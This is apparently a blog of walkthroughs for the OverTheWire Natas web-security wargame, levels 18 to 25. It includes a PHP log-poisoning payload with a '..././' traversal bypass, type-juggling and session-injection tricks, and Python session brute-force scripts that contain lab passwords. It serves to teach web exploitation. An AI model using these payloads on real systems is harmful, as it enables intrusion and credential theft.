DISCLAIMER: The information in this site is for educational purpose only. The authors of this blog are not responsible for any kind of misuse of this information.

Sunday, December 15, 2013

OverTheWire Natas 25

Code inspection first !
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/tmp/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
logRequest function let us append arbitrary content to arbitrary file path. Why ?
1. We control $_SERVER['HTTP_USER_AGENT'] which is the value of the User-Agent HTTP header.
2. We control session_id() by PHPSESSID cookie value.

Let's set User-Agent to be the following:
<?php echo file_get_contents('/etc/natas_webpass/natas26') ?>
and PHPSESSID value to be 'pwned'.

So, what we have done until now: if the logRequest function will be called, a PHP code that will print the next level password will be wrote to the file /tmp/natas25_pwned.log.

The last step is to display this code output. We can do it by including /tmp/natas25_pwned.log file content in the page by exploiting the following function which is called on page loading:
function setLanguage(){
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))
        if(safeinclude("language/" . $_REQUEST["lang"] ))
            return 1;
    safeinclude("language/en"); 
}

function safeinclude($filename){
    // check for directory traversal
    if(strstr($filename,"../")){
        logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }
    // dont let ppl steal our passwords
    if(strstr($filename,"natas_webpass")){
        logRequest("Illegal file access detected! Aborting!");
        exit(-1);
    }
    // add more checks...

    if (file_exists($filename)) { 
        include($filename);
        return 1;
    }
    return 0;
}

You can see that safeinclude function gives us hard life by removing '../'. To bypass it we will use the following distinction:
'..././' will become '../' after '../' will be removed. Therefore, we can use it to escape from the 'language/' directory and include arbitrary path (/tmp/natas25_pwned.log)
We will set lang GET parameter to be:
lang=..././..././..././..././..././tmp/natas25_pwned.log


It will trigger the logRequest function because there was a directory traversal attempt and the PHP code we saw earlier will be written to the included file.
Pwned ! :)

OverTheWire Natas 24

As always, we will begin with code analysis:
<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
strcmp is used. Therefore, passwd GET parameter is expected to be a string. We want strcmp to return 0. It will happen if passwd will be a string equals to which is unknown. The other case is that passwd won't be a string!

Let's pass it as array, e.g. passwd[]=hacked. The following warning will be printed:
Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
Together with the next level key :)

Friday, December 13, 2013

OverTheWire Natas 23

Let's inspect the code:
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: </pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }

It reveals that if the GET parameter passwd will be sent, containing the substring 'iloveyou' and has a numeric value above 10, we will get the next level credentials !

So, our passwd parameter will contain 'iloveyou' as substring.
The condition

$_REQUEST["passwd"] > 10
does an implicit casting of string to int by using the numeric part of it from the beginning of the string. For example "10str" will become 10.

In all of this in mind, we will set passwd to be 100iloveyou. 100 > 10 and iloveyou appers. Done :)

OverTheWire Natas 22

Code inspection reveals that if we will send the GET request with "revelio" parameter, we will receive the next level credentials.

There is one complication. If we are not the admin, a redirection header will be added to the HTTP response. To overcome this, don't use a browser (alternatives - wget, curl, proxy tool ... )

And you got the keys to the next level :)

OverTheWire Natas 21

Code analysis shows that we need the 'admin' field to be set to 1 in order to get the next level credentials.
There is also another page in this level - http://natas21-experimenter.natas.labs.overthewire.org/ The code of this page contains the following block:
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 
If 'submit' was sent as a GET parameter, each (key,val) tuple in the GET request will become a key in the session with 'val' as value.
We will use it to set the session key-value ('admin',1).

The session is shared across the pages, therefore when we will back to http://natas21.natas.labs.overthewire.org/ , we will be identified as admin ! Solved :)

OverTheWire Natas 20

So from code analysis we can conclude that in order to get the next level credentials we have to be identified as admin.
How we gonna do it ? Further analysis shows that we need a way to write to the session file the following line:
admin 1

Easy! The name parameter is written to the session file. We can append it the required line by sending the following name as parameter:
hacker%0Aadmin%201
Unescaped:
hacker
admin 1
Then the session file will look like this:
name hacker
admin 1
And when it will be read, we will have admin field set to 1 in our session --> got admin !
The next level credentials will be printed. GAME OVER :)

OverTheWire Natas 19

When inspecting our PHPSESSID cookie, we can see it's seems to be encoded in hex. Decoding it reveals it's true and the structure is:
PHPSESSID = hex((sessid)+'-'+(username))

when (sessid) is a random number probably in {1,2,...,641} (inspected by deleting the PHPSESSID cookie several times)

We are interested, again, in the admin user session. So, (username) will be replaced with 'admin' and we will use brute-force on the (sessid) parameter as we did in the previous level.

import requests

for sessid in range(641,0,-1):
 r = requests.get('http://natas19.natas.labs.overthewire.org', \
            auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), \
            cookies={'PHPSESSID':(str(sessid)+'-admin').encode('hex')})
 
 if 'You are an admin' in r.content:
  print r.content # print next level credentials
  break
Solved :)

Thursday, December 12, 2013

OverTheWire Natas 18

First, let's inspect the source code: we can see that our target is to own a session with 'admin' key set to 1 in order to receive the credentials for the next level. The problem is that there is no way to add fields to our session, except for the following commented-out function and its call:
function isValidAdminLogin() { /* {{{ */

    if($_REQUEST["username"] == "admin") {

    /* This method of authentication appears to be unsafe and has been 

       disabled for now. */

        //return 1;
    }
    return 0;
}

...

$_SESSION["admin"] = isValidAdminLogin(); 
So instead of try manipulating our own session, let's try identifying with the admin session ! The session id is generated by the following function:
function createID($user) { /* {{{ */     
 global $maxid;     
 return rand(1, $maxid); 
}
where
$maxid = 640;
The function generates a random session id in {1,2,...,640} --> The session id space is small enough for brute-force attack to be feasible.
import requests

for sessid in range(641):

    r = requests.get('http://natas18.natas.labs.overthewire.org?debug=1', 
        auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'), 
        cookies={'PHPSESSID':str(sessid)})

    if 'You are an admin' in r.content:
        print r.content # will print next level credentials.
        break 
Solved :)